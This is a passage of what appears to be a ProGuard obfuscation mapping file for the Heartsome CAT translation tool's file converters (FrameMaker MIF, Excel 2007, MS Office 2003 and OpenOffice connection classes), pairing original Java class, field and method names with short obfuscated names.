net.heartsome.cat.converter.mif.common.a: + long serialVersionUID -> serialVersionUID +net.heartsome.cat.converter.mif.common.ReaderUtil -> net.heartsome.cat.converter.mif.common.b: + java.lang.String cleanString(java.lang.String) -> cleanString + java.lang.String cleanTag(java.lang.String) -> M +net.heartsome.cat.converter.mif.common.UnSuportedFileExcetption -> net.heartsome.cat.converter.mif.common.c: + long serialVersionUID -> serialVersionUID +net.heartsome.cat.converter.mif.parser.ExtractParaline -> net.heartsome.cat.converter.mif.parser.a: + char[] doc -> gm + int sos -> gn + int eos -> go + int tempos -> gp + java.io.EOFException eofExp -> gq + java.util.Stack nameStack -> gr + char ch -> gs + java.lang.String content -> o + void readParaLine() -> X + void main(java.lang.String[]) -> main + java.io.EOFException access$0(net.heartsome.cat.converter.mif.parser.ExtractParaline) -> a +net.heartsome.cat.converter.mif.parser.ExtractParaline$MifReader -> net.heartsome.cat.converter.mif.parser.b: + net.heartsome.cat.converter.mif.parser.ExtractParaline this$0 -> gt + char getChar() -> getChar + char getCharAfterIgnore() -> Y + boolean skipChar(char) -> c +net.heartsome.cat.converter.mif.parser.MifParser -> net.heartsome.cat.converter.mif.parser.c: + int sos -> gn + int eos -> go + int tos -> tos + char[] doc -> gm + net.heartsome.cat.converter.mif.bean.MifParseBuffer mpbf -> gu + char ch -> gs + net.heartsome.cat.converter.mif.parser.MifParser$MifReader r -> gv + java.util.Stack nameStack -> gr + void parseFile(java.lang.String,java.lang.String) -> g + void setDoc(char[]) -> a + void parse() -> parse + void decideEncoding() -> Z + void validateFile() -> aa + void parseImportObejct() -> ab + void parseAframes() -> ac + net.heartsome.cat.converter.mif.bean.Frame parseFrame() -> ad + net.heartsome.cat.converter.mif.bean.TextRect parseTextRect() -> ae + net.heartsome.cat.converter.mif.bean.Table parseTables() -> af + net.heartsome.cat.converter.mif.bean.Page parsePage() -> ag + net.heartsome.cat.converter.mif.bean.TextFlow parseTextFlow() -> ah + java.lang.String getContentEndBy(char) -> d + java.lang.String getStatmentName() -> ai + java.lang.String getValue() -> getValue + java.lang.String formatLineNumber() -> aj + java.lang.String formatLineNumber(int) -> a + int access$0(net.heartsome.cat.converter.mif.parser.MifParser) -> a + int access$1(net.heartsome.cat.converter.mif.parser.MifParser) -> b + void access$2(net.heartsome.cat.converter.mif.parser.MifParser,int) -> a + java.lang.String access$3(net.heartsome.cat.converter.mif.parser.MifParser) -> c +net.heartsome.cat.converter.mif.parser.MifParser$MifReader -> net.heartsome.cat.converter.mif.parser.d: + net.heartsome.cat.converter.mif.parser.MifParser this$0 -> gw + char getChar() -> getChar + char getCharAfterIgnore() -> Y + boolean skipChar(char) -> c +net.heartsome.cat.converter.mif.parser.XliffReader -> net.heartsome.cat.converter.mif.parser.e: + char[] doc -> gm + net.heartsome.cat.converter.mif.bean.MifParseBuffer mpbf -> gu + net.heartsome.cat.converter.mif.bean.MifReaderBuffer mrbf -> gx + int xliffIdex -> gy + net.heartsome.cat.converter.StringSegmenter strSger -> gz + int sos -> gn + int eos -> go + int tempos -> gp + java.io.BufferedWriter xlfOs -> gA + java.lang.String srcLang -> srcLang + net.heartsome.cat.converter.mif.parser.XliffReader$MifReader r -> gB + java.io.EOFException eofExp -> gq + char ch -> gs + java.util.Stack nameStack -> gr + net.heartsome.cat.converter.mif.common.ReaderUtil rUtil -> gC + java.lang.String mifEncoding -> gD + void loadFile(java.lang.String,java.lang.String) -> h + void readXliffFile(java.io.BufferedWriter,java.lang.String,boolean,org.eclipse.core.runtime.IProgressMonitor) -> a + void readSkeletonFile(java.io.BufferedWriter,org.eclipse.core.runtime.IProgressMonitor) -> a + void readPage(net.heartsome.cat.converter.mif.bean.Page) -> b + void readTextRect(java.util.List) -> c + void readTextFlow(net.heartsome.cat.converter.mif.bean.TextFlow) -> b + void readPara() -> ak + void readParalines(int) -> b + void readTable(net.heartsome.cat.converter.mif.bean.Table) -> b + void outputSegmenet(java.lang.String,int,int,int) -> a + void writeXliffFile(int,java.lang.String) -> a + java.lang.String getContentEndBy(char) -> d + java.lang.String getStatmentName() -> ai + java.lang.String getValue() -> getValue + java.lang.String formatLineNumber() -> aj + java.lang.String formatLineNumber(int) -> a + int access$0(net.heartsome.cat.converter.mif.parser.XliffReader) -> a + int access$1(net.heartsome.cat.converter.mif.parser.XliffReader) -> b + java.io.EOFException access$2(net.heartsome.cat.converter.mif.parser.XliffReader) -> c + char[] access$3(net.heartsome.cat.converter.mif.parser.XliffReader) -> d + void access$4(net.heartsome.cat.converter.mif.parser.XliffReader,int) -> a + java.lang.String access$5(net.heartsome.cat.converter.mif.parser.XliffReader) -> e +net.heartsome.cat.converter.mif.parser.XliffReader$1 -> net.heartsome.cat.converter.mif.parser.f: + net.heartsome.cat.converter.mif.parser.XliffReader this$0 -> gE + int compare(java.lang.Object[],java.lang.Object[]) -> a + int compare(java.lang.Object,java.lang.Object) -> compare +net.heartsome.cat.converter.mif.parser.XliffReader$MifReader -> net.heartsome.cat.converter.mif.parser.g: + net.heartsome.cat.converter.mif.parser.XliffReader this$0 -> gE + char getChar() -> getChar + char getCharAfterIgnore() -> Y + boolean skipChar(char) -> c +net.heartsome.cat.converter.mif.preference.Constants -> net.heartsome.cat.converter.mif.preference.a: + java.lang.String PREFERENCE_FRAMEMAKER_32 -> gF + java.lang.String FRAMEMAKER_FILTER -> gG +net.heartsome.cat.converter.mif.preference.ConverterPreferenceInitializer -> net.heartsome.cat.converter.mif.preference.b: + void initializeDefaultPreferences() -> initializeDefaultPreferences +net.heartsome.cat.converter.mif.preference.FrameMakerPreferencePage -> net.heartsome.cat.converter.mif.preference.c: + org.eclipse.jface.preference.IPreferenceStore preferenceStore -> gH + org.eclipse.swt.widgets.Button btnMaster -> gI + org.eclipse.swt.widgets.Control createContents(org.eclipse.swt.widgets.Composite) -> createContents + void init(org.eclipse.ui.IWorkbench) -> init + void performDefaults() -> performDefaults + boolean performOk() -> performOk +net.heartsome.cat.converter.mif.resource.Messages -> net.heartsome.cat.converter.mif.resource.Messages: + java.lang.String BUNDLE_NAME -> BUNDLE_NAME + java.util.ResourceBundle RESOURCE_BUNDLE -> cZ + java.lang.String getString(java.lang.String) -> getString +net.heartsome.cat.converter.ms2oo.CallOO4Linux -> net.heartsome.cat.converter.ms2oo.a: + int status -> status + java.lang.Process proc -> gJ + java.io.BufferedReader br -> br + java.io.InputStream in -> in + java.io.InputStreamReader isr -> gK + void start(java.lang.String,java.lang.String) -> i + java.lang.Process getPorc() -> al + int getStatus() -> getStatus + void setStatus(int) -> setStatus + void close(java.lang.String) -> ad + void main(java.lang.String[]) -> main +net.heartsome.cat.converter.ms2oo.CallService4Mac -> net.heartsome.cat.converter.ms2oo.b: + int status -> status + java.lang.Process proc -> gJ + void start(java.lang.String,java.lang.String) -> i + java.lang.Process getProcess() -> am + int getStatus() -> getStatus + void setStatus(int) -> setStatus + void close(java.lang.String) -> ad +net.heartsome.cat.converter.ms2oo.CallService4Windows -> net.heartsome.cat.converter.ms2oo.c: + int status -> status + java.lang.Process proc -> gJ + void start(java.lang.String,java.lang.String) -> i + java.lang.Process getProcess() -> am + int getStatus() -> getStatus + void setStatus(int) -> setStatus + void close(java.lang.String) -> ad +net.heartsome.cat.converter.ms2oo.CloseOOconnection -> net.heartsome.cat.converter.ms2oo.d: + int linux -> gL + int windows -> gM + int mac -> gN + int status -> status + int closeService(java.lang.String) -> ae + int getSystemCode() -> an + void setStauts(int) -> c + int getStatus() -> getStatus +net.heartsome.cat.converter.ms2oo.DetectOORunning -> net.heartsome.cat.converter.ms2oo.e: + int LINUX -> LINUX + int WINDOWS -> WINDOWS + int MAC -> MAC + java.lang.String username -> username + boolean isRunn -> gR + boolean isRunning() -> isRunning + boolean getIsRunning() -> ao + void setIsRunning(boolean) -> f + boolean detectLinux() -> ap + boolean detectWins() -> aq + boolean detectMac() -> ar + int getSystemCode() -> an + void main(java.lang.String[]) -> main +net.heartsome.cat.converter.ms2oo.MS2OOConverter -> net.heartsome.cat.converter.ms2oo.f: + java.lang.String path -> path + java.lang.String port -> port + net.heartsome.cat.converter.ooconnect.SocketOPConnection connection -> gS + void startconvert(java.io.File,java.io.File,boolean) -> a + void convert(java.io.File,java.io.File,boolean) -> b + java.lang.String getPort() -> getPort +net.heartsome.cat.converter.ms2oo.OpenConnection -> net.heartsome.cat.converter.ms2oo.g: + int linux -> gL + int windows -> gM + int mac -> gN + int status -> status + int openService(java.lang.String,java.lang.String) -> j + int getSystemCode() -> an + void setStauts(int) -> c + int getStatus() -> getStatus +net.heartsome.cat.converter.ms2oo.StartupOO -> net.heartsome.cat.converter.ms2oo.h: + java.util.Hashtable pretable -> gT + boolean ooService -> gU + boolean detectConfOO() -> as + void canStartOO() -> at + void setOoService(boolean) -> g + boolean getOoService() -> au +net.heartsome.cat.converter.ms2oo.StreamGobbler -> net.heartsome.cat.converter.ms2oo.i: + java.io.InputStream is -> is + java.lang.String type -> type + java.lang.String msg -> msg + java.lang.StringBuffer sb -> gW + void run() -> run + void setMsg(java.lang.String) -> setMsg + java.lang.String getMsg() -> getMsg +net.heartsome.cat.converter.msexcel2007.Activator -> net.heartsome.cat.converter.msexcel2007.a: + java.lang.String PLUGIN_ID -> PLUGIN_ID + org.osgi.framework.ServiceRegistration excel2XLIFFSR -> gX + org.osgi.framework.ServiceRegistration xliff2excelSR -> gY + org.osgi.framework.BundleContext context -> context + net.heartsome.cat.converter.msexcel2007.Activator plugin -> gZ + org.osgi.framework.BundleContext getContext() -> getContext + void start(org.osgi.framework.BundleContext) -> start + void stop(org.osgi.framework.BundleContext) -> stop + org.eclipse.jface.resource.ImageDescriptor getImageDescriptor(java.lang.String) -> getImageDescriptor + net.heartsome.cat.converter.msexcel2007.Activator getDefault() -> av +net.heartsome.cat.converter.msexcel2007.MsExcel2Xliff -> net.heartsome.cat.converter.msexcel2007.b: + java.lang.String TYPE_VALUE -> TYPE_VALUE + java.lang.String TYPE_NAME_VALUE -> TYPE_NAME_VALUE + java.lang.String NAME_VALUE -> NAME_VALUE + java.util.Map convert(java.util.Map,org.eclipse.core.runtime.IProgressMonitor) -> convert + java.lang.String getName() -> getName + java.lang.String getType() -> getType + java.lang.String getTypeName() -> getTypeName +net.heartsome.cat.converter.msexcel2007.MsExcel2Xliff$MsExcel2XliffImpl -> net.heartsome.cat.converter.msexcel2007.c: + net.heartsome.cat.converter.msexcel2007.MsExcel2Xliff this$0 -> ha + java.util.Map run(java.util.Map,org.eclipse.core.runtime.IProgressMonitor) -> run + void writeXliffHeader(java.io.BufferedWriter,java.lang.String,java.lang.String,java.lang.String,java.lang.String) -> a + void writeXliffTail(java.io.BufferedWriter) -> a +net.heartsome.cat.converter.msexcel2007.Xliff2MsExcel -> net.heartsome.cat.converter.msexcel2007.d: + java.lang.String TYPE_VALUE -> TYPE_VALUE + java.lang.String TYPE_NAME_VALUE -> TYPE_NAME_VALUE + java.lang.String NAME_VALUE -> NAME_VALUE + java.util.Map convert(java.util.Map,org.eclipse.core.runtime.IProgressMonitor) -> convert + java.lang.String getName() -> getName + java.lang.String getType() -> getType + java.lang.String getTypeName() -> getTypeName +net.heartsome.cat.converter.msexcel2007.Xliff2MsExcel$Xliff2MsExcelImpl -> net.heartsome.cat.converter.msexcel2007.e: + net.heartsome.cat.converter.msexcel2007.Xliff2MsExcel this$0 -> hb + java.util.Map run(java.util.Map,org.eclipse.core.runtime.IProgressMonitor) -> run +net.heartsome.cat.converter.msexcel2007.common.Constants -> net.heartsome.cat.converter.msexcel2007.common.a: + java.lang.String WORKBOOK_PATH -> hc + java.lang.String PART_TYPE_SST -> hd + java.lang.String PART_TYPE_STYLE -> he + java.lang.String NAMESPACE_DRAWING_PREFIX_XDR -> hf + java.lang.String NAMESPACE_DRAWING_URL_XDR -> hg + java.lang.String NAMESPACE_DRAWING_PREFIX_A -> hh + java.lang.String NAMESPACE_DRAWING_URL_A -> hi +net.heartsome.cat.converter.msexcel2007.common.InternalFileException -> net.heartsome.cat.converter.msexcel2007.common.b: + long serialVersionUID -> serialVersionUID +net.heartsome.cat.converter.msexcel2007.common.ReadXliffException -> net.heartsome.cat.converter.msexcel2007.common.c: + long serialVersionUID -> serialVersionUID +net.heartsome.cat.converter.msexcel2007.common.SpreadsheetUtil -> net.heartsome.cat.converter.msexcel2007.common.d: + java.lang.String getPartXml(java.lang.String,boolean) -> a + java.lang.String getPartRelsTarget(net.heartsome.cat.converter.msexcel2007.document.AbstractPart) -> a + void assertNull(java.lang.Object) -> assertNull +net.heartsome.cat.converter.msexcel2007.common.ZipUtil -> net.heartsome.cat.converter.msexcel2007.common.e: + void zipFolder(java.lang.String,java.lang.String) -> k + java.lang.String upZipFile(java.lang.String,java.lang.String) -> upZipFile + void zipFiles(java.util.zip.ZipOutputStream,java.io.File,java.lang.String) -> a + java.io.File getRealFileName(java.lang.String,java.lang.String) -> a +net.heartsome.cat.converter.msexcel2007.document.AbstractPart -> net.heartsome.cat.converter.msexcel2007.document.a: + org.slf4j.Logger logger -> logger + java.lang.String partXmlPath -> hj + net.heartsome.xml.vtdimpl.VTDUtils vu -> k + com.ximpleware.XMLModifier xm -> hk + void loadFile() -> aw + java.lang.String getPartXmlPath() -> ax + void save() -> save + void saveAndReload() -> ay +net.heartsome.cat.converter.msexcel2007.document.Cell -> net.heartsome.cat.converter.msexcel2007.document.b: + org.slf4j.Logger logger -> logger + java.lang.String valIdx -> hl + java.lang.String content -> o + java.lang.String val -> val + java.lang.Integer styleIdx -> hm + java.lang.String dataType -> cX + net.heartsome.cat.converter.msexcel2007.document.ShareStringTablePart ssi -> hn + java.util.List characterStyles -> ho + java.lang.String getValue() -> getValue + java.lang.String getFullContent() -> az + java.util.List getCellCharacterStyles() -> aA + void setValue(java.lang.String) -> setValue + void setShareStringItemFullContent(java.lang.String) -> af + java.lang.Integer getStyleIndex() -> aB + void setStyleIdx(java.lang.Integer) -> a + java.lang.String getDataType() -> aC + void setDataType(java.lang.String) -> ag + java.lang.String getNonTextContent() -> aD + java.lang.String loadCellText(java.lang.String) -> ah + java.util.List loadCellCharacterStyle(java.lang.String,java.lang.String) -> m +net.heartsome.cat.converter.msexcel2007.document.DrawingsPart -> net.heartsome.cat.converter.msexcel2007.document.c: + java.util.List cellAnchorList -> hp + java.util.List getCellAnchorList() -> aE + void updateDrawingObject() -> aF + void loadShapeAnchor() -> aG + com.ximpleware.AutoPilot getAutoPilot() -> aH +net.heartsome.cat.converter.msexcel2007.document.DrawingsPart$1 -> net.heartsome.cat.converter.msexcel2007.document.d: + net.heartsome.cat.converter.msexcel2007.document.DrawingsPart this$0 -> hq + int compare(net.heartsome.cat.converter.msexcel2007.document.drawing.CellAnchor,net.heartsome.cat.converter.msexcel2007.document.drawing.CellAnchor) -> a + int compare(java.lang.Object,java.lang.Object) -> compare +net.heartsome.cat.converter.msexcel2007.document.HeaderFooter -> net.heartsome.cat.converter.msexcel2007.document.e: + java.lang.String type -> type + java.lang.String content -> o + java.lang.String getType() -> getType + void setType(java.lang.String) -> setType + java.lang.String getContent() -> getContent + void setContent(java.lang.String) -> setContent +net.heartsome.cat.converter.msexcel2007.document.RelsPart -> net.heartsome.cat.converter.msexcel2007.document.f: + java.util.List relationships -> hr + java.util.List getRelationshipByType(java.lang.String) -> ai + net.heartsome.cat.converter.msexcel2007.document.rels.Relationship getRelationshipById(java.lang.String) -> aj + void loadRealtionship() -> aI +net.heartsome.cat.converter.msexcel2007.document.ShareStringTablePart -> net.heartsome.cat.converter.msexcel2007.document.g: + java.lang.String getAllStringItem() -> aJ + int getAllStringItemCount() -> aK + java.lang.String getStringItemFragment(int) -> d + void updateShareStringTable(java.lang.String) -> ak + void updateStringItem(int,java.lang.String) -> b +net.heartsome.cat.converter.msexcel2007.document.SheetPart -> net.heartsome.cat.converter.msexcel2007.document.h: + java.lang.String name -> name + java.lang.String sheetId -> hs + net.heartsome.cat.converter.msexcel2007.document.RelsPart relsPart -> ht + net.heartsome.cat.converter.msexcel2007.document.DrawingsPart drawingsPart -> hu + java.util.List cellList -> hv + java.util.List headers -> headers + java.util.List footers -> footers + java.util.List getCells(java.lang.String) -> al + int fillShareStringTable(net.heartsome.cat.converter.msexcel2007.document.ShareStringTablePart,int,java.lang.StringBuffer) -> a + java.lang.String getName() -> getName + net.heartsome.cat.converter.msexcel2007.document.DrawingsPart getDrawingsPart() -> aL + void setSheetName(java.lang.String) -> am + java.util.List getHeader() -> aM + void setHeaderFooter(java.util.List) -> d + java.util.List getFoolter() -> aN + void loadDrawingsPart() -> aO + void loadHeaderFooter() -> aP +net.heartsome.cat.converter.msexcel2007.document.SpreadsheetDocument -> net.heartsome.cat.converter.msexcel2007.document.i: + net.heartsome.cat.converter.msexcel2007.document.WorkBookPart workBookPart -> hy + net.heartsome.cat.converter.msexcel2007.document.SpreadsheetPackage spreadsheetPackage -> hz + void open(java.lang.String) -> an + void close() -> close +net.heartsome.cat.converter.msexcel2007.document.SpreadsheetPackage -> net.heartsome.cat.converter.msexcel2007.document.j: + java.lang.String superRoot -> hA + java.lang.String currentRoot -> hB + java.lang.String tempRoot -> hC + void setCurrentRoot(java.lang.String) -> ao + java.lang.String getPackageSuperRoot() -> aQ + java.lang.String getRootName() -> getRootName + void back2TopLeve() -> aR + java.lang.String getPackageFilePath(java.lang.String) -> ap + void markRoot() -> aS + void resetRoot() -> resetRoot + void deleteFileOrFolder(java.io.File) -> deleteFileOrFolder + void close() -> close +net.heartsome.cat.converter.msexcel2007.document.StylesPart -> net.heartsome.cat.converter.msexcel2007.document.k: + java.util.List redStyleIndexs -> hD + boolean isRedColor(int) -> e + void loadRedFgStyle() -> aT + java.util.List getFilterCellStyle() -> aU +net.heartsome.cat.converter.msexcel2007.document.WorkBookPart -> net.heartsome.cat.converter.msexcel2007.document.l: + net.heartsome.cat.converter.msexcel2007.document.RelsPart relsPart -> ht + java.util.List sheetPartList -> hE + net.heartsome.cat.converter.msexcel2007.document.ShareStringTablePart sst -> hF + net.heartsome.cat.converter.msexcel2007.document.StylesPart stylePart -> hG + java.util.List getSheetParts() -> aV + net.heartsome.cat.converter.msexcel2007.document.ShareStringTablePart getShareStringTablePart() -> aW + net.heartsome.cat.converter.msexcel2007.document.StylesPart getStylesPart() -> aX + void loadWorkSheets() -> aY + void loadShareStringTable() -> aZ + void loadSytlesPart() -> ba + void updateSheetName(java.lang.String,java.lang.String) -> n + void save() -> save +net.heartsome.cat.converter.msexcel2007.document.drawing.AbstractDrawing -> net.heartsome.cat.converter.msexcel2007.document.drawing.a: + org.slf4j.Logger logger -> logger + net.heartsome.xml.vtdimpl.VTDUtils vu -> k + java.lang.String xmlContent -> hH + com.ximpleware.XMLModifier xm -> hk + void save() -> save + void saveAndReload() -> ay + java.lang.String getXmlContent() -> bb + void setXmlContent(java.lang.String) -> aq + com.ximpleware.AutoPilot getDeclareNSAutoPilot() -> bc + void loadXML() -> bd + java.lang.String appendNS(java.lang.String) -> ar + java.lang.String getNSDeclare2XML() -> be +net.heartsome.cat.converter.msexcel2007.document.drawing.CellAnchor -> net.heartsome.cat.converter.msexcel2007.document.drawing.b: + java.lang.String fromRow -> hI + java.lang.String fromCol -> hJ + java.util.List shapeList -> hK + void appendShape(net.heartsome.cat.converter.msexcel2007.document.drawing.ShapeTxBody) -> a + java.lang.String getFromRow() -> bf + void setFromRow(java.lang.String) -> as + java.lang.String getFromCol() -> bg + void setFromCol(java.lang.String) -> at + java.util.List getShapeList() -> getShapeList + void updateCellAnchor() -> bi + void loadShapeAnchor() -> aG +net.heartsome.cat.converter.msexcel2007.document.drawing.ShapeParagraph -> net.heartsome.cat.converter.msexcel2007.document.drawing.c: + java.lang.String pText -> hL + java.util.List characterStyles -> ho + java.lang.String getParagraghText() -> bj + void setParagraghText(java.lang.String) -> au + java.util.List getParagraghCharacterStyle() -> bk + java.lang.String getCellValueText() -> bl + java.util.List getParagraghCharacterStyle(java.lang.String) -> av + java.lang.String getChilderFragment(java.lang.String) -> aw +net.heartsome.cat.converter.msexcel2007.document.drawing.ShapeTxBody -> net.heartsome.cat.converter.msexcel2007.document.drawing.d: + java.util.List pList -> hM + java.util.List getTxBodyParagraghList() -> bm + void updateParagragh() -> bn + void loadParagraph() -> bo +net.heartsome.cat.converter.msexcel2007.document.rels.Relationship -> net.heartsome.cat.converter.msexcel2007.document.rels.a: + java.lang.String id -> id + java.lang.String type -> type + java.lang.String target -> target + boolean equals(java.lang.Object) -> equals + java.lang.String getId() -> getId + void setId(java.lang.String) -> setId + java.lang.String getType() -> getType + void setType(java.lang.String) -> setType + java.lang.String getTarget() -> getTarget + void setTarget(java.lang.String) -> setTarget +net.heartsome.cat.converter.msexcel2007.preference.Constants -> net.heartsome.cat.converter.msexcel2007.preference.a: + java.lang.String PREFERENCE_EXCEL_32 -> hN + java.lang.String EXCEL_FILTER -> hO +net.heartsome.cat.converter.msexcel2007.preference.ConverterPreferenceInitializer -> net.heartsome.cat.converter.msexcel2007.preference.b: + void initializeDefaultPreferences() -> initializeDefaultPreferences +net.heartsome.cat.converter.msexcel2007.preference.ExcelPreferencePage -> net.heartsome.cat.converter.msexcel2007.preference.c: + org.eclipse.jface.preference.IPreferenceStore preferenceStore -> gH + org.eclipse.swt.widgets.Button btnRedFont -> hP + org.eclipse.swt.widgets.Control createContents(org.eclipse.swt.widgets.Composite) -> createContents + void init(org.eclipse.ui.IWorkbench) -> init + void performDefaults() -> performDefaults + boolean performOk() -> performOk +net.heartsome.cat.converter.msexcel2007.reader.ReaderUtil -> net.heartsome.cat.converter.msexcel2007.reader.a: + java.lang.String appendSegStyle(java.lang.String,java.util.List) -> a + java.util.List getSegStyle(java.util.List,java.lang.String,java.lang.String) -> a + java.lang.String cleanTag(java.lang.String) -> M + java.lang.String cleanAttribute(java.lang.String) -> ax + java.lang.String reCleanAttribute(java.lang.String) -> ay + java.lang.String reCleanTag(java.lang.String) -> az +net.heartsome.cat.converter.msexcel2007.reader.SpreadsheetReader -> net.heartsome.cat.converter.msexcel2007.reader.b: + java.io.BufferedWriter xlfOs -> gA + java.lang.String srcLang -> srcLang + int xliffIdex -> gy + net.heartsome.cat.converter.StringSegmenter segmenter -> er + java.util.List filterStyleIndex -> hQ + void read2XliffFile(java.lang.String,java.io.BufferedWriter,java.lang.String,boolean,org.eclipse.core.runtime.IProgressMonitor) -> a + void saveSklFile(java.lang.String) -> aA + void readSheets(java.util.List,org.eclipse.core.runtime.IProgressMonitor) -> a + void readDrawings(net.heartsome.cat.converter.msexcel2007.document.DrawingsPart) -> a + void readHeaderFooters(java.util.List) -> e + void readSplitedContent(java.lang.String,java.lang.StringBuffer,java.lang.StringBuffer) -> a + java.lang.String[] splitHeaderFooter(java.lang.String) -> aB + void writeXliffFile(int,java.lang.String) -> a +net.heartsome.cat.converter.msexcel2007.reader.XliffReader -> net.heartsome.cat.converter.msexcel2007.reader.c: + org.slf4j.Logger logger -> logger + net.heartsome.xml.vtdimpl.VTDUtils vu -> k + void read2SpreadsheetDoc(java.lang.String,java.lang.String,java.lang.String,org.eclipse.core.runtime.IProgressMonitor) -> a + void readSheet(java.util.List,org.eclipse.core.runtime.IProgressMonitor) -> b + java.lang.String processContent(java.lang.String) -> aC + void main(java.lang.String[]) -> main + java.lang.String getTargetById(java.lang.String) -> aD + java.lang.String converterAnaysisResult(java.util.Map) -> d + java.util.Map anaysisTarget() -> bp + void ananysisTag(java.util.Map) -> e + void loadFile(java.lang.String) -> aE +net.heartsome.cat.converter.msexcel2007.resource.Messages -> net.heartsome.cat.converter.msexcel2007.resource.Messages: + java.lang.String BUNDLE_NAME -> BUNDLE_NAME + java.util.ResourceBundle RESOURCE_BUNDLE -> cZ + java.lang.String getString(java.lang.String) -> getString +net.heartsome.cat.converter.msoffice2003.Activator -> net.heartsome.cat.converter.msoffice2003.a: + java.lang.String PLUGIN_ID -> PLUGIN_ID + net.heartsome.cat.converter.msoffice2003.Activator plugin -> hR + org.osgi.framework.BundleContext bundleContext -> fl + org.osgi.util.tracker.ServiceTracker positiveTracker -> fm + org.osgi.util.tracker.ServiceTracker reverseTracker -> fn + void start(org.osgi.framework.BundleContext) -> start + void stop(org.osgi.framework.BundleContext) -> stop + net.heartsome.cat.converter.msoffice2003.Activator getDefault() -> bq + net.heartsome.cat.converter.Converter getOpenOfficeConverter(java.lang.String) -> aF + org.osgi.framework.BundleContext access$0() -> J +net.heartsome.cat.converter.msoffice2003.Activator$OpenOfficePositiveCustomizer -> net.heartsome.cat.converter.msoffice2003.b: + net.heartsome.cat.converter.msoffice2003.Activator this$0 -> hS + java.lang.Object addingService(org.osgi.framework.ServiceReference) -> addingService + void modifiedService(org.osgi.framework.ServiceReference,java.lang.Object) -> modifiedService + void removedService(org.osgi.framework.ServiceReference,java.lang.Object) -> removedService +net.heartsome.cat.converter.msoffice2003.Activator$OpenOfficeReverseCustomize -> net.heartsome.cat.converter.msoffice2003.c: + net.heartsome.cat.converter.msoffice2003.Activator this$0 -> hS + java.lang.Object addingService(org.osgi.framework.ServiceReference) -> addingService + void modifiedService(org.osgi.framework.ServiceReference,java.lang.Object) -> modifiedService + void removedService(org.osgi.framework.ServiceReference,java.lang.Object) -> removedService +net.heartsome.cat.converter.msoffice2003.MSOffice2Xliff -> net.heartsome.cat.converter.msoffice2003.d: + java.lang.String TYPE_VALUE -> TYPE_VALUE + java.lang.String TYPE_NAME_VALUE -> TYPE_NAME_VALUE + java.lang.String NAME_VALUE -> NAME_VALUE + net.heartsome.cat.converter.Converter dependantConverter -> fp + java.util.Map convert(java.util.Map,org.eclipse.core.runtime.IProgressMonitor) -> convert + java.lang.String getName() -> getName + java.lang.String getType() -> getType + java.lang.String getTypeName() -> getTypeName + java.lang.String getSuffixName(java.lang.String) -> aG + java.lang.String getOutputFilePath(java.lang.String) -> aH + java.lang.String getOuptFilePath(java.lang.String,java.lang.String) -> o + net.heartsome.cat.converter.Converter access$0(net.heartsome.cat.converter.msoffice2003.MSOffice2Xliff) -> a +net.heartsome.cat.converter.msoffice2003.MSOffice2Xliff$MSOffice2XliffImpl -> net.heartsome.cat.converter.msoffice2003.e: + net.heartsome.cat.converter.msoffice2003.MSOffice2Xliff this$0 -> hT + java.util.Map run(java.util.Map,org.eclipse.core.runtime.IProgressMonitor) -> run +net.heartsome.cat.converter.msoffice2003.Xliff2MSOffice -> net.heartsome.cat.converter.msoffice2003.f: + org.slf4j.Logger LOGGER -> LOGGER + java.lang.String TYPE_VALUE -> TYPE_VALUE + java.lang.String TYPE_NAME_VALUE -> TYPE_NAME_VALUE + java.lang.String NAME_VALUE -> NAME_VALUE + net.heartsome.cat.converter.Converter dependantConverter -> fp + java.util.Map convert(java.util.Map,org.eclipse.core.runtime.IProgressMonitor) -> convert + java.lang.String getName() -> getName + java.lang.String getType() -> getType + java.lang.String getTypeName() -> getTypeName + org.slf4j.Logger access$0() -> access$0 + net.heartsome.cat.converter.Converter access$1(net.heartsome.cat.converter.msoffice2003.Xliff2MSOffice) -> a +net.heartsome.cat.converter.msoffice2003.Xliff2MSOffice$Xliff2MSOfficeImpl -> net.heartsome.cat.converter.msoffice2003.g: + boolean isInfoEnabled -> hU + net.heartsome.cat.converter.msoffice2003.Xliff2MSOffice this$0 -> hV + java.util.Map run(java.util.Map,org.eclipse.core.runtime.IProgressMonitor) -> run +net.heartsome.cat.converter.msoffice2003.resource.Messages -> net.heartsome.cat.converter.msoffice2003.resource.Messages: + java.lang.String BUNDLE_NAME -> BUNDLE_NAME + java.util.ResourceBundle RESOURCE_BUNDLE -> cZ + java.lang.String getString(java.lang.String) -> getString +net.heartsome.cat.converter.ooconnect.OPConnection -> net.heartsome.cat.converter.ooconnect.a: + java.lang.String strConnection -> hW + com.sun.star.lang.XComponent bgComponent -> hX + com.sun.star.lang.XMultiComponentFactory serviceMg -> hY + com.sun.star.uno.XComponentContext componentContext -> hZ + com.sun.star.bridge.XBridge bridge -> ia + boolean connected -> connected + boolean expectingDisconnection -> ib + void connect() -> connect + void disposing() -> br + void closeconnect() -> bs + com.sun.star.bridge.XBridge getBridge() -> getBridge + com.sun.star.uno.XComponentContext getComponentContext() -> getComponentContext + java.lang.Object getService(java.lang.String) -> getService + com.sun.star.frame.XComponentLoader getDesktopObject() -> bt + com.sun.star.ucb.XFileIdentifierConverter getFileContentProvider() -> bu + com.sun.star.lang.XMultiComponentFactory getRemoteServiceManager() -> bv + boolean isConnected() -> isConnected +net.heartsome.cat.converter.ooconnect.OPException -> net.heartsome.cat.converter.ooconnect.b: + long serialVersionUID -> serialVersionUID +net.heartsome.cat.converter.ooconnect.OPconnect -> net.heartsome.cat.converter.ooconnect.c: + void connect() -> connect + void closeconnect() -> bs + boolean isConnected() -> isConnected + com.sun.star.frame.XComponentLoader getDesktopObject() -> bt + com.sun.star.ucb.XFileIdentifierConverter getFileContentProvider() -> bu + com.sun.star.bridge.XBridge getBridge() -> getBridge + com.sun.star.lang.XMultiComponentFactory getRemoteServiceManager() -> bv + com.sun.star.uno.XComponentContext getComponentContext() -> getComponentContext +net.heartsome.cat.converter.ooconnect.PPOPConnection -> net.heartsome.cat.converter.ooconnect.d: + java.lang.String DEFAULT_PIPE_NAME -> ic +net.heartsome.cat.converter.ooconnect.SocketOPConnection -> net.heartsome.cat.converter.ooconnect.e: + java.lang.String DEFAULT_HOST -> DEFAULT_HOST + int DEFAULT_PORT -> DEFAULT_PORT +net.heartsome.cat.converter.ooconnect.TerminateListener -> net.heartsome.cat.converter.ooconnect.f: + void notifyTermination(com.sun.star.lang.EventObject) -> notifyTermination + void queryTermination(com.sun.star.lang.EventObject) -> queryTermination + void disposing(com.sun.star.lang.EventObject) -> disposing +net.heartsome.cat.converter.ooconnect.TerminationOpenoffice -> 